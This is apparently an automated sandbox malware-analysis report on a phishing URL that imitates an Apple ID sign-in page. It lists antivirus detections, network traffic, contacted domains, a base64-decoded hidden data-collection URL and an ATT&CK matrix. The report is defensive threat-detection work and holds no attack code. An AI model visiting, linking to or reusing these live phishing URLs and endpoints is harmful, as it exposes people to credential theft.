Edit tour

Windows Analysis Report
https://support.rv-rw.com/aU3V88/c1.php

Overview

General Information

Sample URL:	https://support.rv-rw.com/aU3V88/c1.php
Analysis ID:	1589715
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

HTML page contains hidden URLs

Detected non-DNS traffic on DNS port

HTML page contains hidden javascript code

Stores files to the Windows start menu directory

Uses insecure TLS / SSL version for HTTPS connection

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3660 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6484 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1736 --field-trial-handle=1980,i,16412004675316672048,7965394202063150575,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 768 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://support.rv-rw.com/aU3V88/c1.php" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://support.rv-rw.com/aU3V88/c1.php

Avira URL Cloud: detection malicious, Label: phishing

Antivirus detection for URL or domain

Source: https://support.rv-rw.com/aU3V88/jss/function.js	Avira URL Cloud: Label: phishing
Source: https://support.rv-rw.com/aU3V88/jss/myscript_ind_fact.js	Avira URL Cloud: Label: phishing
Source: https://support.rv-rw.com/aU3V88/css/appe.css?v=1	Avira URL Cloud: Label: phishing
Source: https://support.rv-rw.com/aU3V88/jss/myscript_patron.js?v=2gdssf	Avira URL Cloud: Label: phishing
Source: https://support.rv-rw.com/aU3V88/images/ajax-loader.gif	Avira URL Cloud: Label: phishing
Source: https://support.rv-rw.com/aU3V88/css/fonts2.css	Avira URL Cloud: Label: phishing

Phishing

HTML page contains hidden URLs

Source: https://support.rv-rw.com/aU3V88/c1.php

HTTP Parser: https://iserver88.pro/default/datos/

Source: https://support.rv-rw.com/aU3V88/c1.php

HTTP Parser: Base64 decoded: https://iserver88.pro/default/datos/

Source: https://support.rv-rw.com/aU3V88/c1.php

HTTP Parser: No favicon

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49735 version: TLS 1.0

Source: global traffic

TCP traffic: 192.168.2.5:64848 -> 162.159.36.2:53

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49735 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /aU3V88/c1.php HTTP/1.1Host: support.rv-rw.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aU3V88/css/fonts2.css HTTP/1.1Host: support.rv-rw.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://support.rv-rw.com/aU3V88/c1.phpAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-2.2.4.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://support.rv-rw.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-2.2.4.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aU3V88/css/appe.css?v=1 HTTP/1.1Host: support.rv-rw.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://support.rv-rw.com/aU3V88/c1.phpAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aU3V88/jss/function.js HTTP/1.1Host: support.rv-rw.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://support.rv-rw.com/aU3V88/c1.phpAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aU3V88/jss/myscript_ind_fact.js HTTP/1.1Host: support.rv-rw.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://support.rv-rw.com/aU3V88/c1.phpAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aU3V88/jss/myscript_patron.js?v=2gdssf HTTP/1.1Host: support.rv-rw.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://support.rv-rw.com/aU3V88/c1.phpAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aU3V88/images/ajax-loader.gif HTTP/1.1Host: support.rv-rw.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://support.rv-rw.com/aU3V88/c1.phpAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: support.rv-rw.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com

Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/12359
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/13378
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: http://dev.w3.org/csswg/cssom/#resolved-values
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: http://jquery.com/
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: http://jsperf.com/getall-vs-sizzle/2
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: http://jsperf.com/thor-indexof-vs-for/5
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: http://sizzlejs.com/
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: http://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_70.2.dr	String found in binary or memory: http://www.webtoolkit.info/
Source: chromecache_67.2.dr	String found in binary or memory: https://appleid.cdn-apple.com/appleauth/static/bin/cb1017220694/dist/assets/images/sms
Source: chromecache_67.2.dr	String found in binary or memory: https://appleid.cdn-apple.com/appleauth/static/bin/cb1938059335/dist/assets/images/virtualDevice
Source: chromecache_67.2.dr	String found in binary or memory: https://appleid.cdn-apple.com/appleauth/static/bin/cb1938059335/dist/assets/images/virtualDevice.png
Source: chromecache_67.2.dr	String found in binary or memory: https://appleid.cdn-apple.com/appleauth/static/bin/cb1998127860/dist/assets/images/sms.png
Source: chromecache_67.2.dr	String found in binary or memory: https://appleid.cdn-apple.com/appleauth/static/bin/cb2044472390/dist/assets/images/totp.png
Source: chromecache_67.2.dr	String found in binary or memory: https://appleid.cdn-apple.com/appleauth/static/bin/cb2613252489/dist/assets/images/sms
Source: chromecache_67.2.dr	String found in binary or memory: https://appleid.cdn-apple.com/appleauth/static/bin/cb2896941922/dist/assets/images/totp
Source: chromecache_67.2.dr	String found in binary or memory: https://appleid.cdn-apple.com/appleauth/static/bin/cb3200884379/dist/assets/images/totp
Source: chromecache_67.2.dr	String found in binary or memory: https://appleid.cdn-apple.com/appleauth/static/bin/cb3240912829/dist/assets/images/yellow-error.png
Source: chromecache_67.2.dr	String found in binary or memory: https://appleid.cdn-apple.com/appleauth/static/bin/cb3299837348/dist/assets/images/HR_gradient_dark.
Source: chromecache_67.2.dr	String found in binary or memory: https://appleid.cdn-apple.com/appleauth/static/bin/cb4257665051/dist/assets/images/HR_gradient_light
Source: chromecache_69.2.dr	String found in binary or memory: https://appleid.cdn-apple.com/appleauth/static/jsj/1577869377/widget/auth/app.js
Source: chromecache_69.2.dr	String found in binary or memory: https://appleid.cdn-apple.com/appleauth/static/jsj/N1241477586/common-header.js
Source: chromecache_67.2.dr	String found in binary or memory: https://appleid.cdn-apple.com/bin/cb259380101/dist/assets/generated-icons/shared-icons.woff
Source: chromecache_67.2.dr	String found in binary or memory: https://appleid.cdn-apple.com/bin/cb3176223654/dist/assets/generated-icons/shared-icons.eot
Source: chromecache_67.2.dr	String found in binary or memory: https://appleid.cdn-apple.com/bin/cb3176223654/dist/assets/generated-icons/shared-icons.eot?#iefix
Source: chromecache_67.2.dr	String found in binary or memory: https://appleid.cdn-apple.com/bin/cb3752583803/dist/assets/generated-icons/shared-icons.svg?#shared-
Source: chromecache_67.2.dr	String found in binary or memory: https://appleid.cdn-apple.com/bin/cb624250907/dist/assets/generated-icons/shared-icons.ttf
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=136851
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=29084
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=491668
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=649285
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=687787
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: https://code.google.com/p/chromium/issues/detail?id=229280
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: https://code.google.com/p/chromium/issues/detail?id=378607
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: https://code.google.com/p/chromium/issues/detail?id=449857
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: https://code.google.com/p/chromium/issues/detail?id=470258
Source: chromecache_69.2.dr	String found in binary or memory: https://code.jquery.com/jquery-2.2.4.js
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: https://developer.mozilla.org/en-US/docs/CSS/display
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/557)
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: https://github.com/jquery/jquery/pull/764
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: https://github.com/jquery/sizzle/pull/225
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
Source: chromecache_73.2.dr, chromecache_74.2.dr	String found in binary or memory: https://html.spec.whatwg.org/#strip-and-collapse-whitespace
Source: chromecache_66.2.dr	String found in binary or memory: https://idmsa.apple.com/IDMSWebAuth/signin?appIdKey=6f59402f11d3e2234be5b88bf1c96e1e453a875aec205272
Source: chromecache_69.2.dr	String found in binary or memory: https://iforgot.apple.com/password/verify/appleid?returnURL=https%3A%2F%2Fidmsa.apple.com%2Fsignin%3

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64946
Source: unknown	Network traffic detected: HTTP traffic on port 64951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822

Source: classification engine

Classification label: mal60.phis.win@16/25@12/7

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1736 --field-trial-handle=1980,i,16412004675316672048,7965394202063150575,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://support.rv-rw.com/aU3V88/c1.php"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1736 --field-trial-handle=1980,i,16412004675316672048,7965394202063150575,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://support.rv-rw.com/aU3V88/c1.php	100%	Avira URL Cloud	phishing

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://support.rv-rw.com/aU3V88/jss/function.js	100%	Avira URL Cloud	phishing
https://support.rv-rw.com/aU3V88/jss/myscript_ind_fact.js	100%	Avira URL Cloud	phishing
https://support.rv-rw.com/aU3V88/css/appe.css?v=1	100%	Avira URL Cloud	phishing
https://support.rv-rw.com/aU3V88/jss/myscript_patron.js?v=2gdssf	100%	Avira URL Cloud	phishing
https://support.rv-rw.com/aU3V88/images/ajax-loader.gif	100%	Avira URL Cloud	phishing
https://support.rv-rw.com/aU3V88/css/fonts2.css	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
support.rv-rw.com	89.250.71.221	true	false	unknown
edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.19	true	false	high
code.jquery.com	151.101.194.137	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	216.58.206.36	true	false	high
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://support.rv-rw.com/aU3V88/css/appe.css?v=1	false	Avira URL Cloud: phishing	unknown
https://support.rv-rw.com/aU3V88/images/ajax-loader.gif	false	Avira URL Cloud: phishing	unknown
https://code.jquery.com/jquery-2.2.4.js	false		high
https://support.rv-rw.com/aU3V88/jss/function.js	false	Avira URL Cloud: phishing	unknown
https://support.rv-rw.com/aU3V88/c1.php	true		unknown
https://support.rv-rw.com/aU3V88/jss/myscript_ind_fact.js	false	Avira URL Cloud: phishing	unknown
https://support.rv-rw.com/aU3V88/css/fonts2.css	false	Avira URL Cloud: phishing	unknown
https://support.rv-rw.com/aU3V88/jss/myscript_patron.js?v=2gdssf	false	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://code.google.com/p/chromium/issues/detail?id=470258	chromecache_73.2.dr, chromecache_74.2.dr	false	high
https://bugs.webkit.org/show_bug.cgi?id=136851	chromecache_73.2.dr, chromecache_74.2.dr	false	high
https://code.google.com/p/chromium/issues/detail?id=449857	chromecache_73.2.dr, chromecache_74.2.dr	false	high
http://bugs.jquery.com/ticket/12359	chromecache_73.2.dr, chromecache_74.2.dr	false	high
http://jquery.org/license	chromecache_73.2.dr, chromecache_74.2.dr	false	high
https://bugzilla.mozilla.org/show_bug.cgi?id=649285	chromecache_73.2.dr, chromecache_74.2.dr	false	high
http://sizzlejs.com/	chromecache_73.2.dr, chromecache_74.2.dr	false	high
https://code.google.com/p/chromium/issues/detail?id=378607	chromecache_73.2.dr, chromecache_74.2.dr	false	high
https://html.spec.whatwg.org/#strip-and-collapse-whitespace	chromecache_73.2.dr, chromecache_74.2.dr	false	high
http://jsperf.com/getall-vs-sizzle/2	chromecache_73.2.dr, chromecache_74.2.dr	false	high
